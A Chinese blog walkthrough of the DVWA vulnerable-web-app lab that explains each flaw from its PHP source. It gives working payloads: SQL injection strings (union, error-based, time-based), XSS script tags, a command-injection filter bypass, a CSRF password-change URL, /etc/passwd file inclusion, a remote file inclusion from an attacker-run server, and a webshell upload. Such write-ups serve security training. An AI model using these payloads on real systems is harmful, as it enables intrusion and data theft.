DVWA靶场（通关笔记）

最新推荐文章于 2024-04-05 00:16:33 发布
最新推荐文章于 2024-04-05 00:16:33 发布
阅读量1.7k 收藏 3
点赞数
分类专栏： dvwa靶场通关 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_65441499/article/details/124412014
版权

Brute Force（暴力破解）

 Command Injection(命令注入)

low：

Medium：

High：

 CSRF（跨站请求伪造漏洞）

File Inclusion(文件包含漏洞)

File upload(文件上传漏洞)

SQL Injection（SQL注入）

union联合查询

报错注入

时间盲注

SQL Injection (Blind)（SQL盲注）

布尔盲注

时间盲注

XSS（ Reflected）（xss反射型）

XSS（Stored）（xss存储型漏洞）

Brute Force（暴力破解）

Brute Force，即暴力破解，是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一。

 low：先审计代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到，服务器只是验证了参数Login是否被设置，没有任何的防爆破机制

有bp抓包进行爆破

 

 右键，发送到Intruder模块

 选好爆破模式，选中我们要爆破的用户名和密码

 爆破结果如下

 查看用户名damin密码password和其他的长度不一样，那么就有可能是正确的密码，回网页登陆一下

 密码正确登录成功✌

  

 Command Injection(命令注入)

命令执行，是指通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一，国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

low：

 查看源代码；

<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
?>

可以看到，服务器通过判断操作系统执行不同ping命令，但是对ip参数并未做任何的过滤，导致了严重的命令注入漏洞

 我们的ipconfig被执行了

Medium：

查看源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

发现过滤了&&和； 但是我们依然可以用 | 执行我们的命令

 成功执行✌

High：

审计一下代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

这次过滤了很多，但是细心的可以发现源代码中过滤的 | 后面是有一个空格的，所以用我们刚才过

Medium等级一样的方式，这里就不做了✌

 

 CSRF（跨站请求伪造漏洞）

 CSRF，全称Cross-site request forgery，跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。

审计后台代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到，get提交，服务器收到修改密码的请求后，会检查参数password_new与password_conf是否相同，如果相同，就会修改密码。

 我们输入的密码在url中可以看到，现在我们的密码是123456，我么直接在url中把密码改掉，然后把url复制下来。

 当我们把我们构造好的这个url让受害者打开后，他的密码就会直接改成我们的111

 我们登录原本的密码123456已经登不上了。

 漏洞利用，攻击者可以构造url的短链接，或者精心构造一个页面，当你点击这个链接后你的密码就会被改掉了。

File Inclusion(文件包含漏洞)

 File Inclusion文件包含漏洞，是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞，远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到，服务器端对page参数没有做任何的过滤和检查。

服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确实为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

1.本地问文件包含

构造我们的url

 查看/etc/password/文件

 在最上边，直接打印出来了，成功读取/etc/passwd/文件

2.远程文件包含

当服务器的php配置中，选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件，如果对文件来源没有检查的话，就容易导致任意远程代码执行。在远程服务器上传一个info.txt文件，内容如下

<?php
phpinfo();
?>

构造url为

http://192.168.200.182/dvwa/master/vulnerabilities/fi/page=http://远程服务器的IP地址/upload/upload/info.txt

 成功在服务器上执行了phpinfo函数

File upload(文件上传漏洞)

文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的，Apache、Tomcat、Nginx等都曝出过文件上传漏洞

审计代码 

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

可以看到，服务器对上传文件的类型、内容没有做任何的检查、过滤，存在明显的文件上传漏洞，生成上传路径后，服务器会检查是否上传成功并返回相应提示信息。
可以看到文件上传没有做任何限制，可以上传任何文件，上传一句话木马，然后通过 蚁剑 或者中国菜刀拿到webshell

 

直接连接，口令为caidao，然后会通过向服务器发送包含caidao参数的post请求，在服务器上执行任意命令，获取webshell权限，进入网站后台。可以下载、修改服务器的所有文件

 

SQL Injection（SQL注入）

SQL注入,是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的

 

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

注入点是id，并且是字符型注入，服务端接收id参数，没有做任何处理，并且有回显，和报错详情，可以使用联合查询和报错注入以及时间盲注来实现手工注入

union联合查询

order by 猜列数
paylod： 1' order by 2#
爆当前库，版本信息
payload: -1' union select database(),version()#
爆库
payload: -1' union select 1,group_concat(schema_name) from information_schema.schemata#
爆表
payload: -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#
爆列
payload: -1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

报错注入

updatexml()
payload: 1' and updatexml(1,concat(0x23,database()),1)#
payload: 1' and updatexml(1,concat(0x23,(select table_name from information_schema.tables where table_schema = database() limit 1 offset 0)),1)#

extractvalue()
payload: 1' and extractvalue(1,concat(0x23,database()))#
payload: 1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema = database() limit 1 offset 0)))#

floor
payload: 1' and (SELECT 1 from  (SELECT count(*),concat(0x23, database(), 0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)  as y)#
payload: 1' and (SELECT 1 from  (SELECT count(*),concat(0x23, (select table_name from information_schema.tables where table_schema = database() limit 0,1), 0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)  as y)#

时间盲注

payload: 1' and if(1=1,sleep(2),0)#
payload: 1' and if(ascii(substr(database(),1,1))<101,sleep(2),1)#

SQL Injection (Blind)（SQL盲注）

 审计源代码

 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

布尔盲注

payload: 1' and ascii(substr(database(),1,1))<101#

时间盲注

payload: 1' and if(1=1,sleep(2),1)#
payload: 1' and if(1=2,sleep(2),1)#

XSS（ Reflected）（xss反射型）

查看源代码 

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

可以看到，代码直接引用了name参数，并没有任何的过滤与检查，存在明显的XSS漏洞(反射型XSS)

使用a标签，点击132，就会进行弹窗

payload：<a href="javascript:alert()">123</a>#

 

XSS（Stored）（xss存储型漏洞）

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
    // Get input 
    $message = trim( $_POST[ 'mtxMessage' ] ); 
    $name    = trim( $_POST[ 'txtName' ] ); 
    // Sanitize message input 
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    // Sanitize name input 
    $name = mysql_real_escape_string( $name ); 
    // Update database 
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    //mysql_close(); 
} 
?>

相关函数介绍

trim(string,charlist) 移除字符串两侧的空白字符或其他预定义字符，预定义字符包括、\t、\n、\x0B、\r以及空格，可选参数charlist支持添加额外需要删除的字符
mysql_real_escape_string(string,connection)函数会对字符串中的特殊符号（\x00，\n，\r，\，‘，“，\x1a）进行转义

stripslashes(string)函数删除字符串中的反斜杠
可以看到，对输入并没有做XSS方面的过滤与检查，且存储在数据库中，因此这里存在明显的存储型XSS漏洞

message一栏输入<script>alert('xss')</script>，成功弹框：

name一栏前端有字数限制，抓包改为<script>alert('xss')</script>

成功弹框

呼呼呼~
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
DVWA全系列笔记
BROTHERYY的博客
08-21 5142
文章目录一、DVWA的安装二、漏洞学习2.1 Brute Force2.1.1 Brute Force（low）2.1.2 Brute Force(Medium)2.1.3 Brute Force(High)2.2 Command Injection（命令注入）2.2.1 Command Injection(Low)2.2.2 Command Injection(Medium)2.2.3 Command Injection(High)2.3 Csrf（跨站请求伪造）2.3.1 Csrf(Low)2.3.2
DVWA通关笔记
qq_46263951的博客
05-21 104
Burte Force LOW 使用sql注入 Medium 使用burp suit暴力破解 Command Injection LOW 分析代码，我们可以在IP地址后面尝试连接任何命令 Medium 分析代码时我们发现它这里是限制了两个符号 这里可以使用其它分隔符 || & | High 这里的限制比上一个又多了一些限制，但可以发现单竖杠后面是多了一个空格，所以我们输入单杠时不输空格就可以绕过限制 CSRF LOW 直接修改URL处的...
dvwa靶场通关教程（保姆及教学，一看就会）
最新发布
m0_69043895的博客
04-05 4024
可以看到，Impossible级别的代码对上传文件进行了重命名（为md5值，导致%00截断无法绕过过滤规则），加入Anti-CSRF token防护CSRF攻击，同时对文件的内容作了严格的检查，导致攻击者无法上传含有恶意脚本的文件。让通过验证的情况增加了一种。回到payload，选择第二个爆破点，选择递归模式，recursive grep，设置初始值。看源代码可以发现，不仅限制了文件类型，而且限制了大小，不能少于100kb。可以看到，靶场对文件类型做了限制，只允许上传png、jpeg，并且检查。
DVWA笔记
陌茗228.的博客
04-11 127
DVWA Brute Force（暴力破解） Command Injection（命令行注入） CSRF（跨站请求伪造） File Inclusion（文件包含） File Upload（文件上传） Insecure CAPTCHA （不安全的验证码） SQL Injection（SQL注入） SQL Injection（Blind）（SQL盲注） XSS (DOM) XSS（Reflected）（反射型跨站脚本） XSS（Stored）（存储型跨站脚本） Weak Session IDs （弱会话）
DVWA学习笔记
m0_52361291的博客
03-04 600
DVWA-Brute Force 1.low 首先我的DVWA是装在虚拟机里的 mysql是5.0版本以上，然后把虚拟机和现实机连在同一网络里，通过浏览器访问http://10.0.0.5/DVWA/login.php就可以进入DVWA里了 输入username和password就可以进入靶场页面 我的浏览器因为用的是谷歌浏览器所以是直接翻译了的如果不翻译应该是全英文。 点击蛮力这一个漏洞首先用的难度是low 这个难度是没有任何保护措施也就是说可以无限次的去爆破来得出账户和密码，开启burp来完成我们的攻
kali2021.3安装dvwa靶场
02-24
标题中的“kali2021.3安装dvwa靶场”是指在Kali Linux 2021.3版本中安装DVWA（Damn Vulnerable Web Application）的过程，这是一个广泛用于Web安全学习和实践的模拟靶场。描述中提到，这个教程是为刚接触Kali的爱好...
dvwa靶场通关之sql injection
07-19
dvwa靶场通关之sql injection
DVWA靶场源码分享
12-11
DVWA（Damn Vulnerable Web Application）靶场是一个用于网络安全教育的开源Web应用程序。它由Chris Evans创建，旨在帮助安全专业人员、开发人员和学生通过实践来学习和理解常见Web应用程序安全漏洞。DVWA靶场提供了...
DVWA靶场环境搭建-dvwa.rar
10-15
DVWA靶场环境文件
DVWA靶场搭建与使用
09-02
**DVWA靶场搭建与使用** DVWA（Damn Vulnerable Web Application）是一个开源的Web应用程序，专门为网络安全专业人员、开发人员和学生设计，用于学习和练习常见Web应用漏洞的识别和利用。它提供了多种安全漏洞的...
dvwa学习笔记1
qq_41555580的博客
03-01 260
是
DVWA学习笔记（自用）
a_qiao_的博客
08-21 236
DVWA学习笔记（自用） XSS（reflected） LOW 此处因为标签没有被过滤，所以此处被当作script语言被执行了 在不看源码的情况下，先尝试普通字符 观察源码处，字符被显示出来了 再输入标签，看标签是否被过滤 观察源码可以发现，button标签未被过滤，所以找到了漏洞 Medium <Script>alert(123456)</script> 混淆或大小写绕过 high <img src="" οnerrοr="alert('XSS')">
DVWA靶机通关攻略第四关——文件包含
小飞飞的博客
03-11 643
DVWA靶机的文件包含详细教学
DVWA（全级别通关教程详解）
weixin_52385170的博客
10-08 2万+
DVWA 详解
DVWA通关攻略零到一【全】
热门推荐
WX公众号-小白学安全
10-28 4万+
DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。
DVWA1.9 (一) Brute Force代码审计
公羽向阳的博客
07-08 262
DVWA1.9 Brute Force代码审计
DVWA 之暴力破解攻击（Brute Force）
弱弱的小雨鸟
01-14 1万+
暴力破解（Brute Force）的意思是攻击者借助计算机的高速计算不停枚举所有可能的用户名和密码，直到尝试出正确的组合，成功登录系统。理论上，只要字典足够大，破解总是会成功的。阻止暴力破解的最有效方式是设置复杂的密码（英文字母大小写、数字、符号混合）。而如果你的字典是从某网站泄露出来的，你使用它试图登陆其他网站，就便是撞库。撞库攻击的成功率高于暴力破解，因为你在A网站的用户名、密码通常和B网站的
dvwa靶场通关教程
07-28
当然，下面是一些关于DVWA靶场通关的指南： 1. 获取DVWA：首先，你需要下载和安装DVWA（Damn Vulnerable Web Application）。你可以在官方网站上找到最新版本的下载链接。 2. 配置DVWA：安装完成后，你需要进行一些配置。打开DVWA的安装页面，在那里你可以设置数据库连接等信息。确保你已经正确设置了所有必要的配置项。 3. 注册和登录：完成配置后，你需要注册一个新用户并登录DVWA。默认情况下，用户名是admin，密码是password。请尽快修改密码以确保安全性。 4. 熟悉靶场：DVWA提供了多个不同安全级别的漏洞和挑战。你可以从低级别开始，逐渐提高难度。熟悉每个漏洞类型，了解其背后的原理和攻击方式。 5. 攻击和解决漏洞：使用各种技术和工具来攻击DVWA中的漏洞。例如，你可以尝试使用SQL注入、跨站脚本（XSS）、文件上传漏洞等进行攻击。在攻击过程中，了解攻击原理并尝试解决这些漏洞。 6. 学习和改进：参考文档、教程和其他资源来学习有关DVWA漏洞和安全性的更多知识。尝试不同的攻击方法，并思考如何防止这些攻击。 请注意，在进行DVWA靶场的攻击和解决漏洞时，务必遵守法律和道德规范。只在合法的环境中进行实践，并始终保持对系统和数据的尊重。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值